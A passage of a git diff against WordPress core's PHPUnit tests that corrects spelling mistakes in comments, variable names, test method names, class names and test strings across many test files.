a/tests/phpunit/tests/blocks/wpBlockType.php +++ b/tests/phpunit/tests/blocks/wpBlockType.php @@ -306,7 +306,7 @@ public function test_has_block_with_mixed_content() { * @ticket 45097 */ public function test_has_block_with_invalid_content() { - // some content with invalid HMTL comments and a single valid block. + // some content with invalid HTML comments and a single valid block. $invalid_content = 'before' . '' . '' . diff --git a/tests/phpunit/tests/cache.php b/tests/phpunit/tests/cache.php index faf64de5a0be8..1f345652b1fd9 100644 --- a/tests/phpunit/tests/cache.php +++ b/tests/phpunit/tests/cache.php @@ -357,7 +357,7 @@ public function test_switch_to_blog() { $val2 = 'val2'; if ( ! is_multisite() ) { - // Single site ingnores switch_to_blog(). + // Single site ignores switch_to_blog(). $this->assertTrue( $this->cache->set( $key, $val ) ); $this->assertSame( $val, $this->cache->get( $key ) ); $this->cache->switch_to_blog( 999 ); diff --git a/tests/phpunit/tests/comment/getPageOfComment.php b/tests/phpunit/tests/comment/getPageOfComment.php index bfb5c92c30c1b..44e6af5ac3f87 100644 --- a/tests/phpunit/tests/comment/getPageOfComment.php +++ b/tests/phpunit/tests/comment/getPageOfComment.php @@ -306,20 +306,20 @@ public function test_only_top_level_comments_should_be_included_in_older_count() $comment_children[ $i ] = $child; } - $page_1_indicies = array( 2, 3, 4 ); - $page_2_indicies = array( 0, 1 ); + $page_1_indices = array( 2, 3, 4 ); + $page_2_indices = array( 0, 1 ); $args = array( 'per_page' => 3, 'max_depth' => 2, ); - foreach ( $page_1_indicies as $p1i ) { + foreach ( $page_1_indices as $p1i ) { $this->assertSame( 1, (int) get_page_of_comment( $comment_parents[ $p1i ], $args ) ); $this->assertSame( 1, (int) get_page_of_comment( $comment_children[ $p1i ], $args ) ); } - foreach ( $page_2_indicies as $p2i ) { + foreach ( $page_2_indices as $p2i ) { $this->assertSame( 2, (int) get_page_of_comment( $comment_parents[ $p2i ], $args ) ); $this->assertSame( 2, (int) get_page_of_comment( $comment_children[ $p2i ], $args ) ); } diff --git a/tests/phpunit/tests/cron.php b/tests/phpunit/tests/cron.php index ec97b366d0713..a56569c527907 100644 --- a/tests/phpunit/tests/cron.php +++ b/tests/phpunit/tests/cron.php @@ -915,7 +915,7 @@ public function test_schedule_short_circuit_with_error_returns_false_when_wp_err return new WP_Error( 'my_error', - 'An error ocurred' + 'An error occurred' ); }; @@ -947,7 +947,7 @@ public function test_schedule_short_circuit_with_error_returns_error_when_wp_err return new WP_Error( 'my_error', - 'An error ocurred' + 'An error occurred' ); }; @@ -1112,7 +1112,7 @@ public function test_unschedule_short_circuit_with_error_returns_false_when_wp_e return new WP_Error( 'my_error', - 'An error ocurred' + 'An error occurred' ); }; @@ -1137,7 +1137,7 @@ public function test_unschedule_short_circuit_with_error_returns_error_when_wp_e return new WP_Error( 'my_error', - 'An error ocurred' + 'An error occurred' ); }; diff --git a/tests/phpunit/tests/db.php b/tests/phpunit/tests/db.php index 3ac4507b6e0fd..68181cfdc7114 100644 --- a/tests/phpunit/tests/db.php +++ b/tests/phpunit/tests/db.php @@ -573,10 +573,10 @@ public function test_get_row() { /** * Test the `get_col()` method. * - * @param string|null $query The query to run. - * @param string|array $expected The expected resulting value. - * @param arrray|string|null $last_result The value to assign to `$wpdb->last_result`. - * @param int|string $column The column index to retrieve. + * @param string|null $query The query to run. + * @param string|array $expected The expected resulting value. + * @param array|string|null $last_result The value to assign to `$wpdb->last_result`. + * @param int|string $column The column index to retrieve. * * @dataProvider data_get_col * @@ -607,10 +607,10 @@ public function test_get_col( $query, $expected, $last_result, $column ) { * @return array { * Arguments for testing `get_col()`. * - * @type string|null $query The query to run. - * @type string|array $expected The resulting expected value. - * @type arrray|string|null $last_result The value to assign to `$wpdb->last_result`. - * @type int|string $column The column index to retrieve. + * @type string|null $query The query to run. + * @type string|array $expected The resulting expected value. + * @type array|string|null $last_result The value to assign to `$wpdb->last_result`. + * @type int|string $column The column index to retrieve. */ public function data_get_col() { global $wpdb; diff --git a/tests/phpunit/tests/db/dbDelta.php b/tests/phpunit/tests/db/dbDelta.php index dae1bf9298d84..8b028e030eedb 100644 --- a/tests/phpunit/tests/db/dbDelta.php +++ b/tests/phpunit/tests/db/dbDelta.php @@ -735,7 +735,7 @@ public function test_wp_get_db_schema_does_not_alter_queries_on_existing_install /** * @ticket 20263 */ - public function test_key_and_index_and_fulltext_key_and_fulltext_index_and_unique_key_and_unique_index_indicies() { + public function test_key_and_index_and_fulltext_key_and_fulltext_index_and_unique_key_and_unique_index_indices() { global $wpdb; $schema = " diff --git a/tests/phpunit/tests/dependencies/styles.php b/tests/phpunit/tests/dependencies/styles.php index da79c2812dc84..8746c095338c2 100644 --- a/tests/phpunit/tests/dependencies/styles.php +++ b/tests/phpunit/tests/dependencies/styles.php @@ -160,7 +160,7 @@ public function test_inline_styles() { } /** - * Test if inline styles work with concatination + * Test if inline styles work with concatenation * * @global WP_Styles $wp_styles * @ticket 24813 diff --git a/tests/phpunit/tests/filters.php b/tests/phpunit/tests/filters.php index 6d512a19acb64..8294d07d6e75e 100644 --- a/tests/phpunit/tests/filters.php +++ b/tests/phpunit/tests/filters.php @@ -313,7 +313,7 @@ public function test_remove_all_filter() { $this->assertFalse( has_filter( 'all', array( $a, 'filterall' ) ) ); $this->assertFalse( has_filter( 'all' ) ); $this->assertSame( $val, apply_filters( $hook_name, $val ) ); - // Call cound should remain at 1. + // Call count should remain at 1. $this->assertSame( 1, $a->get_call_count() ); $this->assertSame( array( $hook_name ), $a->get_hook_names() ); } diff --git a/tests/phpunit/tests/fonts/font-library/wpRestFontFamiliesController.php b/tests/phpunit/tests/fonts/font-library/wpRestFontFamiliesController.php index 855df6536906f..78890139f304e 100644 --- a/tests/phpunit/tests/fonts/font-library/wpRestFontFamiliesController.php +++ b/tests/phpunit/tests/fonts/font-library/wpRestFontFamiliesController.php @@ -382,8 +382,8 @@ public function test_create_item() { $this->assertSame( 201, $response->get_status(), 'The response status should be 201.' ); $this->check_font_family_data( $data, $data['id'], $response->get_links() ); - $reponse_settings = $data['font_family_settings']; - $this->assertSame( $settings, $reponse_settings, 'The expected settings should exist in the font_family_settings data.' ); + $response_settings = $data['font_family_settings']; + $this->assertSame( $settings, $response_settings, 'The expected settings should exist in the font_family_settings data.' ); $this->assertEmpty( $data['font_faces'], 'The font_faces should be empty or not exist in the response data.' ); } diff --git a/tests/phpunit/tests/formatting/cleanPre.php b/tests/phpunit/tests/formatting/cleanPre.php index 49d0ab9e2b448..724b89bb76256 100644 --- a/tests/phpunit/tests/formatting/cleanPre.php +++ b/tests/phpunit/tests/formatting/cleanPre.php @@ -1,7 +1,7 @@ ` elements as part of wpautop(). * * @group formatting diff --git a/tests/phpunit/tests/formatting/convertSmilies.php b/tests/phpunit/tests/formatting/convertSmilies.php index c7f080380401b..6a6cfffdeb990 100644 --- a/tests/phpunit/tests/formatting/convertSmilies.php +++ b/tests/phpunit/tests/formatting/convertSmilies.php @@ -55,8 +55,8 @@ public function data_convert_standard_smilies() { "a little bit of this\na little bit:other: of that \xf0\x9f\x98\x80\n\xf0\x9f\x98\x80 a little bit of good\nyeah with a little bit of bad8O", ), array( - 'and I say it\'s allright:D:D', - 'and I say it\'s allright:D:D', + 'and I say it\'s alright:D:D', + 'and I say it\'s alright:D:D', ), array( '', @@ -254,7 +254,7 @@ public function test_single_smilies_in_wpsmiliestrans( $input, $converted ) { smilies_init(); } - $orig_trans = $wpsmiliestrans; // Save original tranlations array. + $orig_trans = $wpsmiliestrans; // Save original translations array. $wpsmiliestrans = array( ':)' => 'simple-smile.png', diff --git a/tests/phpunit/tests/formatting/emoji.php b/tests/phpunit/tests/formatting/emoji.php index a8a83781b1942..e107103db4cbd 100644 --- a/tests/phpunit/tests/formatting/emoji.php +++ b/tests/phpunit/tests/formatting/emoji.php @@ -111,7 +111,7 @@ public function data_wp_encode_emoji() { '🙂', ), array( - // Bird, ZWJ, black large squre, emoji selector. + // Bird, ZWJ, black large square, emoji selector. '🐦‍⬛', '🐦‍⬛', ), diff --git a/tests/phpunit/tests/formatting/escUrl.php b/tests/phpunit/tests/formatting/escUrl.php index f23b5269e5b98..769ecacfdcbc2 100644 --- a/tests/phpunit/tests/formatting/escUrl.php +++ b/tests/phpunit/tests/formatting/escUrl.php @@ -258,7 +258,7 @@ public function test_mailto_with_spaces() { * * @covers ::sanitize_url */ - public function test_invalid_charaters() { + public function test_invalid_characters() { $this->assertEmpty( sanitize_url( '"^<>{}`' ) ); } diff --git a/tests/phpunit/tests/formatting/makeClickable.php b/tests/phpunit/tests/formatting/makeClickable.php index 8620f1efcb15e..d06802afec267 100644 --- a/tests/phpunit/tests/formatting/makeClickable.php +++ b/tests/phpunit/tests/formatting/makeClickable.php @@ -256,8 +256,8 @@ public function data_urls() { 'expected' => 'Example: WordPress, test (some text), I love example.com (http://example.com), it is brilliant', ), 'real world: (URL)...' => array( - 'text' => 'Some text followed by a bracketed link with a trailing elipsis (http://example.com)...', - 'expected' => 'Some text followed by a bracketed link with a trailing elipsis (http://example.com)...', + 'text' => 'Some text followed by a bracketed link with a trailing ellipsis (http://example.com)...', + 'expected' => 'Some text followed by a bracketed link with a trailing ellipsis (http://example.com)...', ), 'real world: (here: URL)' => array( 'text' => 'In his famous speech “You and Your research” (here: http://www.cs.virginia.edu/~robins/YouAndYourResearch.html) Richard Hamming wrote about people getting more done with their doors closed...', diff --git a/tests/phpunit/tests/formatting/sanitizeTextField.php b/tests/phpunit/tests/formatting/sanitizeTextField.php index 82cef34a382d5..579f8e29de74e 100644 --- a/tests/phpunit/tests/formatting/sanitizeTextField.php +++ b/tests/phpunit/tests/formatting/sanitizeTextField.php @@ -103,15 +103,15 @@ public function data_sanitize_text_field() { ), array( '%AB%BC%DE', // Just octets. - '', // Emtpy as we strip all the octets out. + '', // Empty as we strip all the octets out. ), array( - 'Invalid octects remain %II', - 'Invalid octects remain %II', + 'Invalid octets remain %II', + 'Invalid octets remain %II', ), array( - 'Nested octects %%%ABABAB %A%A%ABBB', - 'Nested octects', + 'Nested octets %%%ABABAB %A%A%ABBB', + 'Nested octets', ), array( array(), diff --git a/tests/phpunit/tests/formatting/wpAutop.php b/tests/phpunit/tests/formatting/wpAutop.php index 6630782963568..8f17cd5d282b2 100644 --- a/tests/phpunit/tests/formatting/wpAutop.php +++ b/tests/phpunit/tests/formatting/wpAutop.php @@ -567,7 +567,7 @@ public function test_that_wpautop_skips_line_breaks_after_br() { } /** - * wpautop() should convert multiple line breaks into a paragraph regarless of
format + * wpautop() should convert multiple line breaks into a paragraph regardless of
format * * @ticket 33377 */ diff --git a/tests/phpunit/tests/functions.php b/tests/phpunit/tests/functions.php index ffc3eac05c7f7..066ca13ad18f8 100644 --- a/tests/phpunit/tests/functions.php +++ b/tests/phpunit/tests/functions.php @@ -263,7 +263,7 @@ public function test_wp_unique_filename() { // Test slashes in names. $this->assertSame( 'abcdefg.png', wp_unique_filename( $testdir, 'abcde\fg.png' ), 'Slash not removed' ); $this->assertSame( 'abcdefg.png', wp_unique_filename( $testdir, 'abcde\\fg.png' ), 'Double slashed not removed' ); - $this->assertSame( 'abcdefg.png', wp_unique_filename( $testdir, 'abcde\\\fg.png' ), 'Tripple slashed not removed' ); + $this->assertSame( 'abcdefg.png', wp_unique_filename( $testdir, 'abcde\\\fg.png' ), 'Triple slashed not removed' ); } /** diff --git a/tests/phpunit/tests/functions/cleanDirsizeCache.php b/tests/phpunit/tests/functions/cleanDirsizeCache.php index f4f1f6a788522..c30517c115277 100644 --- a/tests/phpunit/tests/functions/cleanDirsizeCache.php +++ b/tests/phpunit/tests/functions/cleanDirsizeCache.php @@ -88,7 +88,7 @@ public function data_clean_dirsize_cache_with_non_path_string() { 'path' => 'string', 'expected_count' => 1, ), - 'non-existant string, but non-path' => array( + 'non-existent string, but non-path' => array( 'path' => 'doesnotexist', 'expected_count' => 2, ), diff --git a/tests/phpunit/tests/functions/wpMysqlWeek.php b/tests/phpunit/tests/functions/wpMysqlWeek.php index 1a17a86ffc483..3649ee6c4c98c 100644 --- a/tests/phpunit/tests/functions/wpMysqlWeek.php +++ b/tests/phpunit/tests/functions/wpMysqlWeek.php @@ -7,7 +7,7 @@ * * @covers ::_wp_mysql_week */ -class Tests_Functons_WpMysqlWeek extends WP_UnitTestCase { +class Tests_Functions_WpMysqlWeek extends WP_UnitTestCase { /** * @ticket 59931 diff --git a/tests/phpunit/tests/http/http.php b/tests/phpunit/tests/http/http.php index 77a5239819c64..a2fd75b95d1cc 100644 --- a/tests/phpunit/tests/http/http.php +++ b/tests/phpunit/tests/http/http.php @@ -47,7 +47,7 @@ public function data_make_absolute_url() { array( '../file-in-parent.ext', 'http://example.com/directory/', 'http://example.com/file-in-parent.ext' ), array( '../file-in-parent.ext', 'http://example.com/directory/filename', 'http://example.com/file-in-parent.ext' ), - // Location provided in muliple levels higher, including impossible to reach (../ below DOCROOT). + // Location provided in multiple levels higher, including impossible to reach (../ below DOCROOT). array( '../../file-in-grand-parent.ext', 'http://example.com', 'http://example.com/file-in-grand-parent.ext' ), array( '../../file-in-grand-parent.ext', 'http://example.com/filename', 'http://example.com/file-in-grand-parent.ext' ), array( '../../file-in-grand-parent.ext', 'http://example.com/directory/', 'http://example.com/file-in-grand-parent.ext' ), diff --git a/tests/phpunit/tests/image/header.php b/tests/phpunit/tests/image/header.php index 0257c732d4a86..fce617fd7df4f 100644 --- a/tests/phpunit/tests/image/header.php +++ b/tests/phpunit/tests/image/header.php @@ -140,7 +140,7 @@ public function test_check_get_previous_crop() { ) ); - // Create inital crop object. + // Create initial crop object. $cropped_1 = 'foo-cropped-1.png'; $object = wp_copy_parent_attachment_properties( $cropped_1, $id, 'custom-header' ); @@ -148,7 +148,7 @@ public function test_check_get_previous_crop() { $previous = $this->custom_image_header->get_previous_crop( $object ); $this->assertFalse( $previous ); - // Create the inital crop attachment and set it as the header. + // Create the initial crop attachment and set it as the header. $cropped_1_id = $this->custom_image_header->insert_attachment( $object, $cropped_1 ); $key = '_wp_attachment_custom_header_last_used_' . get_stylesheet(); update_post_meta( $cropped_1_id, $key, time() ); diff --git a/tests/phpunit/tests/image/intermediateSize.php b/tests/phpunit/tests/image/intermediateSize.php index e297bf8427219..65564a70e5edd 100644 --- a/tests/phpunit/tests/image/intermediateSize.php +++ b/tests/phpunit/tests/image/intermediateSize.php @@ -114,7 +114,7 @@ public function test_get_intermediate_sizes_by_name() { * @requires function imagejpeg */ public function test_get_intermediate_sizes_by_array_exact() { - // Only one dimention match shouldn't return false positive (see: #17626). + // Only one dimension match shouldn't return false positive (see: #17626). add_image_size( 'test-size', 330, 220, true ); add_image_size( 'false-height', 330, 400, true ); add_image_size( 'false-width', 600, 220, true ); @@ -184,7 +184,7 @@ public function test_get_intermediate_sizes_by_array_zero_height() { // Use this width. $width = 300; - // Only one dimention match shouldn't return false positive (see: #17626). + // Only one dimension match shouldn't return false positive (see: #17626). add_image_size( 'test-size', $width, 0, false ); add_image_size( 'false-height', $width, 100, true ); @@ -213,7 +213,7 @@ public function test_get_intermediate_sizes_by_array_zero_width() { // 202 is the smallest height that will trigger a miss for 'false-height'. $height = 202; - // Only one dimention match shouldn't return false positive (see: #17626). + // Only one dimension match shouldn't return false positive (see: #17626). add_image_size( 'test-size', 0, $height, false ); add_image_size( 'false-height', 300, $height, true ); diff --git a/tests/phpunit/tests/image/meta.php b/tests/phpunit/tests/image/meta.php index 8da543878bd6f..88b2cbcef1e40 100644 --- a/tests/phpunit/tests/image/meta.php +++ b/tests/phpunit/tests/image/meta.php @@ -98,7 +98,7 @@ public function test_exif_fuji() { */ public function test_exif_error() { // https://core.trac.wordpress.org/ticket/6571 - // This triggers a warning mesage when reading the Exif block. + // This triggers a warning message when reading the Exif block. $out = wp_read_image_metadata( DIR_TESTDATA . '/images/waffles.jpg' ); $this->assertSame( '0', $out['aperture'], 'Aperture value not equivalent' ); diff --git a/tests/phpunit/tests/interactivity-api/wpInteractivityAPI.php b/tests/phpunit/tests/interactivity-api/wpInteractivityAPI.php index 72dd9da8ed388..7c42dcf39cac7 100644 --- a/tests/phpunit/tests/interactivity-api/wpInteractivityAPI.php +++ b/tests/phpunit/tests/interactivity-api/wpInteractivityAPI.php @@ -549,7 +549,7 @@ public function test_process_directives_changes_html_with_balanced_tags() { * @covers ::process_directives */ public function test_process_directives_doesnt_fail_with_unknown_directives() { - $html = '
Text
'; + $html = '
Text
'; $processed_html = $this->interactivity->process_directives( $html ); $this->assertEquals( $html, $processed_html ); } diff --git a/tests/phpunit/tests/interactivity-api/wpInteractivityAPIDirectivesProcessor.php b/tests/phpunit/tests/interactivity-api/wpInteractivityAPIDirectivesProcessor.php index e7395b5f38009..5812c061666c8 100644 --- a/tests/phpunit/tests/interactivity-api/wpInteractivityAPIDirectivesProcessor.php +++ b/tests/phpunit/tests/interactivity-api/wpInteractivityAPIDirectivesProcessor.php @@ -421,7 +421,7 @@ public function test_has_and_visits_its_closer_tag() { $this->assertTrue( $p->has_and_visits_its_closer_tag() ); } - // Test an upercase tag. + // Test an uppercase tag. $content = ''; $p = new WP_Interactivity_API_Directives_Processor( $content ); $p->next_tag(); @@ -781,7 +781,7 @@ public function test_next_balanced_tag_closer_tag_on_closing_tag() { /** * Tests that skip_to_tag_closer skips to the next tag, - * independant of the content. + * independent of the content. * * @ticket 60517 * diff --git a/tests/phpunit/tests/interactivity-api/wpInteractivityAPIFunctions.php b/tests/phpunit/tests/interactivity-api/wpInteractivityAPIFunctions.php index a9e7adaf828e2..8bf84a90b369d 100644 --- a/tests/phpunit/tests/interactivity-api/wpInteractivityAPIFunctions.php +++ b/tests/phpunit/tests/interactivity-api/wpInteractivityAPIFunctions.php @@ -71,7 +71,7 @@ public function tear_down() { * * @covers wp_interactivity_process_directives_of_interactive_blocks */ - public function test_processs_directives_of_single_interactive_block() { + public function test_process_directives_of_single_interactive_block() { $post_content = ''; $rendered_blocks = do_blocks( $post_content ); $p = new WP_HTML_Tag_Processor( $rendered_blocks ); @@ -87,7 +87,7 @@ public function test_processs_directives_of_single_interactive_block() { * * @covers wp_interactivity_process_directives_of_interactive_blocks */ - public function test_processs_directives_of_multiple_interactive_blocks_in_paralell() { + public function test_process_directives_of_multiple_interactive_blocks_in_parallel() { $post_content = ' @@ -113,7 +113,7 @@ public function test_processs_directives_of_multiple_interactive_blocks_in_paral * * @covers wp_interactivity_process_directives_of_interactive_blocks */ - public function test_processs_directives_of_interactive_block_inside_non_interactive_block() { + public function test_process_directives_of_interactive_block_inside_non_interactive_block() { $post_content = ' @@ -133,7 +133,7 @@ public function test_processs_directives_of_interactive_block_inside_non_interac * * @covers wp_interactivity_process_directives_of_interactive_blocks */ - public function test_processs_directives_of_multple_interactive_blocks_inside_non_interactive_block() { + public function test_process_directives_of_multiple_interactive_blocks_inside_non_interactive_block() { $post_content = ' @@ -156,7 +156,7 @@ public function test_processs_directives_of_multple_interactive_blocks_inside_no * * @covers wp_interactivity_process_directives_of_interactive_blocks */ - public function test_processs_directives_of_interactive_block_inside_multple_non_interactive_block() { + public function test_process_directives_of_interactive_block_inside_multiple_non_interactive_block() { $post_content = ' @@ -181,7 +181,7 @@ public function test_processs_directives_of_interactive_block_inside_multple_non * * @covers wp_interactivity_process_directives_of_interactive_blocks */ - public function test_processs_directives_of_interactive_block_containing_non_interactive_block_without_directives() { + public function test_process_directives_of_interactive_block_containing_non_interactive_block_without_directives() { $post_content = ' @@ -203,7 +203,7 @@ public function test_processs_directives_of_interactive_block_containing_non_int * * @covers wp_interactivity_process_directives_of_interactive_blocks */ - public function test_processs_directives_of_interactive_block_containing_non_interactive_block_with_directives() { + public function test_process_directives_of_interactive_block_containing_non_interactive_block_with_directives() { $post_content = ' @@ -226,7 +226,7 @@ public function test_processs_directives_of_interactive_block_containing_non_int * * @covers wp_interactivity_process_directives_of_interactive_blocks */ - public function test_processs_directives_of_interactive_block_containing_nested_interactive_and_non_interactive_blocks() { + public function test_process_directives_of_interactive_block_containing_nested_interactive_and_non_interactive_blocks() { $post_content = ' diff --git a/tests/phpunit/tests/kses.php b/tests/phpunit/tests/kses.php index b2ef5edeff3a2..12a7bbac29a42 100644 --- a/tests/phpunit/tests/kses.php +++ b/tests/phpunit/tests/kses.php @@ -1362,7 +1362,7 @@ public function data_safecss_filter_attr() { * @ticket 33121 */ public function test_wp_kses_attr_data_attribute_is_allowed() { - $test = '
Pens and pencils
'; + $test = '
Pens and pencils
'; $expected = '
Pens and pencils
'; $this->assertSame( $expected, wp_kses_post( $test ) ); diff --git a/tests/phpunit/tests/link/themeFile.php b/tests/phpunit/tests/link/themeFile.php index 5d8fe66442238..1a7d64839d644 100644 --- a/tests/phpunit/tests/link/themeFile.php +++ b/tests/phpunit/tests/link/themeFile.php @@ -116,7 +116,7 @@ public function test_theme_file_path_with_child_theme( $file, $expected_theme, $ * * @dataProvider data_theme_files */ - public function test_theme_file_existance( $file, $expected_theme, $existence ) { + public function test_theme_file_existence( $file, $expected_theme, $existence ) { if ( in_array( 'theme-file-child', $existence, true ) ) { $this->assertFileExists( WP_CONTENT_DIR . "/themes/theme-file-child/{$file}" ); diff --git a/tests/phpunit/tests/media.php b/tests/phpunit/tests/media.php index 7cc9f5470f754..6bbf72376de80 100644 --- a/tests/phpunit/tests/media.php +++ b/tests/phpunit/tests/media.php @@ -434,7 +434,7 @@ public function test_wp_prepare_attachment_for_js() { * @ticket 38965 */ public function test_wp_prepare_attachment_for_js_without_image_sizes() { - // Create the attachement post. + // Create the attachment post. $id = wp_insert_attachment( array( 'post_title' => 'Attachment Title', diff --git a/tests/phpunit/tests/menu/wpAjaxMenuQuickSearch.php b/tests/phpunit/tests/menu/wpAjaxMenuQuickSearch.php index 9fceb5fc955b2..ab966eed5da63 100644 --- a/tests/phpunit/tests/menu/wpAjaxMenuQuickSearch.php +++ b/tests/phpunit/tests/menu/wpAjaxMenuQuickSearch.php @@ -3,7 +3,7 @@ /** * @group menu */ -class Tests_Menu_WpAjaxMenuQuickSeach extends WP_UnitTestCase { +class Tests_Menu_WpAjaxMenuQuickSearch extends WP_UnitTestCase { /** * Test search returns results for pages. diff --git a/tests/phpunit/tests/meta/deleteMetadata.php b/tests/phpunit/tests/meta/deleteMetadata.php index ce004291bd01a..30ee1245f6fa1 100644 --- a/tests/phpunit/tests/meta/deleteMetadata.php +++ b/tests/phpunit/tests/meta/deleteMetadata.php @@ -53,7 +53,7 @@ public function test_with_falsey_meta_value_should_not_delete_all_meta() { /** * @ticket 32224 * - * This is a backwards compatiblity quirk. + * This is a backwards compatibility quirk. */ public function test_meta_value_should_be_ignored_when_empty_string() { $vals = array( '0', '1', '2', '' ); diff --git a/tests/phpunit/tests/multisite/avoidBlogPagePermalinkCollision.php b/tests/phpunit/tests/multisite/avoidBlogPagePermalinkCollision.php index 137dff5b79394..42f226fb22e33 100644 --- a/tests/phpunit/tests/multisite/avoidBlogPagePermalinkCollision.php +++ b/tests/phpunit/tests/multisite/avoidBlogPagePermalinkCollision.php @@ -12,7 +12,7 @@ class Tests_Multisite_AvoidBlogPagePermalinkCollision extends WP_UnitTestCase { protected static $site_id; protected static $root_page; protected static $child_page; - protected static $post_and_blog_path = 'permalink-collison'; + protected static $post_and_blog_path = 'permalink-collision'; /** * Create a blog and the pages we need to test the collision. diff --git a/tests/phpunit/tests/multisite/site.php b/tests/phpunit/tests/multisite/site.php index aa04499105464..3a2d339c0a150 100644 --- a/tests/phpunit/tests/multisite/site.php +++ b/tests/phpunit/tests/multisite/site.php @@ -844,7 +844,7 @@ public function test_different_network_language() { * @param string $value The sanitized option value. * @param string $option The option name. * @param string $original_value The original value passed to the function. - * @return string The orginal value. + * @return string The original value. */ public function filter_allow_unavailable_languages( $value, $option, $original_value ) { return $original_value; @@ -2149,7 +2149,7 @@ public function populate_options_callback() { /** * Tests whether all expected meta are provided in deprecated `wpmu_new_blog` action. * - * @dataProvider data_wpmu_new_blog_action_backward_commpatible + * @dataProvider data_wpmu_new_blog_action_backward_compatible * * @ticket 46351 */ @@ -2214,7 +2214,7 @@ public function wpmu_new_blog_callback( $blog_id, $user_id, $domain, $path, $net $this->wp_initialize_site_meta = $meta; } - public function data_wpmu_new_blog_action_backward_commpatible() { + public function data_wpmu_new_blog_action_backward_compatible() { return array( 'default values' => array( array(), diff --git a/tests/phpunit/tests/multisite/updateBlogStatus.php b/tests/phpunit/tests/multisite/updateBlogStatus.php index 707b8fa66aee5..092a76e8cb33b 100644 --- a/tests/phpunit/tests/multisite/updateBlogStatus.php +++ b/tests/phpunit/tests/multisite/updateBlogStatus.php @@ -9,7 +9,7 @@ class Tests_Multisite_UpdateBlogStatus extends WP_UnitTestCase { /** - * Updating a field returns the sme value that was passed. + * Updating a field returns the same value that was passed. */ public function test_update_blog_status() { $result = update_blog_status( 1, 'spam', 0 ); diff --git a/tests/phpunit/tests/oembed/filterResult.php b/tests/phpunit/tests/oembed/filterResult.php index 543d336cb9a41..43b18aea0ef06 100644 --- a/tests/phpunit/tests/oembed/filterResult.php +++ b/tests/phpunit/tests/oembed/filterResult.php @@ -108,8 +108,8 @@ public function data_wp_filter_pre_oembed_custom_result() { '
', ), array( - "
", - '
', + "
", + '
', ), ); } diff --git a/tests/phpunit/tests/post/getPageUri.php b/tests/phpunit/tests/post/getPageUri.php index c6799902ce1ec..a19b94a46c91b 100644 --- a/tests/phpunit/tests/post/getPageUri.php +++ b/tests/phpunit/tests/post/getPageUri.php @@ -11,7 +11,7 @@ class Tests_Post_GetPageUri extends WP_UnitTestCase { public function test_get_page_uri_with_stdclass_post_object() { $post_id = self::factory()->post->create( array( 'post_name' => 'get-page-uri-post-name' ) ); - // Mimick an old stdClass post object, missing the ancestors field. + // Mimic an old stdClass post object, missing the ancestors field. $post_array = (object) get_post( $post_id, ARRAY_A ); unset( $post_array->ancestors ); diff --git a/tests/phpunit/tests/post/getPostTypeLabels.php b/tests/phpunit/tests/post/getPostTypeLabels.php index 2a0e7f0d32ab1..e656c33e734fb 100644 --- a/tests/phpunit/tests/post/getPostTypeLabels.php +++ b/tests/phpunit/tests/post/getPostTypeLabels.php @@ -16,7 +16,7 @@ public function test_returns_an_object() { ); } - public function test_returns_hierachical_labels() { + public function test_returns_hierarchical_labels() { $labels = get_post_type_labels( (object) array( 'name' => 'foo', diff --git a/tests/phpunit/tests/post/isPostStatusViewable.php b/tests/phpunit/tests/post/isPostStatusViewable.php index 3f9818bbd648e..d6933d18de5a4 100644 --- a/tests/phpunit/tests/post/isPostStatusViewable.php +++ b/tests/phpunit/tests/post/isPostStatusViewable.php @@ -48,7 +48,7 @@ public function test_custom_post_statuses( $cps_args, $expected ) { */ public function data_custom_post_statuses() { return array( - // 0. False for non-publically queryable types. + // 0. False for non-publicly queryable types. array( array( 'publicly_queryable' => false, @@ -57,7 +57,7 @@ public function data_custom_post_statuses() { ), false, ), - // 1. True for publically queryable types. + // 1. True for publicly queryable types. array( array( 'publicly_queryable' => true, diff --git a/tests/phpunit/tests/post/metaRevisions.php b/tests/phpunit/tests/post/metaRevisions.php index a387678c34cdb..31f734781cb0e 100644 --- a/tests/phpunit/tests/post/metaRevisions.php +++ b/tests/phpunit/tests/post/metaRevisions.php @@ -187,7 +187,7 @@ public function test_revisions_stores_meta_values() { * Check the meta values to verify they are NOT revisioned - they are not revisioned by default. */ - // Custom post meta should NOT be restored, orignal value should not be restored, value still 'update1'. + // Custom post meta should NOT be restored, original value should not be restored, value still 'update1'. $this->assertSame( 'update1', get_post_meta( $post_id, 'meta_revision_test', true ) ); update_post_meta( $post_id, 'meta_revision_test', 'update2' ); diff --git a/tests/phpunit/tests/post/nav-menu.php b/tests/phpunit/tests/post/nav-menu.php index 625d1bc12c22a..7a320f9f8d628 100644 --- a/tests/phpunit/tests/post/nav-menu.php +++ b/tests/phpunit/tests/post/nav-menu.php @@ -764,7 +764,7 @@ public function test_wp_nav_menu_filters_are_passed_args_object() { } /** - * Run tests required to confrim Walker_Nav_Menu receives an $args object. + * Run tests required to confirm Walker_Nav_Menu receives an $args object. */ public function confirm_nav_menu_item_args_object( $args ) { $this->assertIsObject( $args ); diff --git a/tests/phpunit/tests/post/objects.php b/tests/phpunit/tests/post/objects.php index 01161d09f244c..3377b3b150483 100644 --- a/tests/phpunit/tests/post/objects.php +++ b/tests/phpunit/tests/post/objects.php @@ -28,7 +28,7 @@ public function test_get_post() { $this->assertSame( 'dummy', get_post_meta( $id, 'post_type', true ) ); $this->assertSame( 'post', $post->post_type ); - // Excercise the output argument. + // Exercise the output argument. $post = get_post( $id, ARRAY_A ); $this->assertIsArray( $post ); $this->assertSame( 'post', $post['post_type'] ); diff --git a/tests/phpunit/tests/post/query.php b/tests/phpunit/tests/post/query.php index 941b6db7fdfcb..aa5405de5794b 100644 --- a/tests/phpunit/tests/post/query.php +++ b/tests/phpunit/tests/post/query.php @@ -725,9 +725,9 @@ public function test_set_found_posts_not_posts_as_an_array( $posts, $expected ) $q->posts = $posts; - $methd = new ReflectionMethod( 'WP_Query', 'set_found_posts' ); - $methd->setAccessible( true ); - $methd->invoke( $q, array( 'no_found_rows' => false ), array() ); + $method = new ReflectionMethod( 'WP_Query', 'set_found_posts' ); + $method->setAccessible( true ); + $method->invoke( $q, array( 'no_found_rows' => false ), array() ); $this->assertSame( $expected, $q->found_posts ); } diff --git a/tests/phpunit/tests/post/types.php b/tests/phpunit/tests/post/types.php index df1543fa0c9ca..70d2538956aa4 100644 --- a/tests/phpunit/tests/post/types.php +++ b/tests/phpunit/tests/post/types.php @@ -586,7 +586,7 @@ public function test_get_post_types_by_support_excluding_features() { /** * @ticket 34010 */ - public function test_get_post_types_by_support_non_existant_feature() { + public function test_get_post_types_by_support_non_existent_feature() { $this->assertSameSets( array(), get_post_types_by_support( 'somefeature' ) 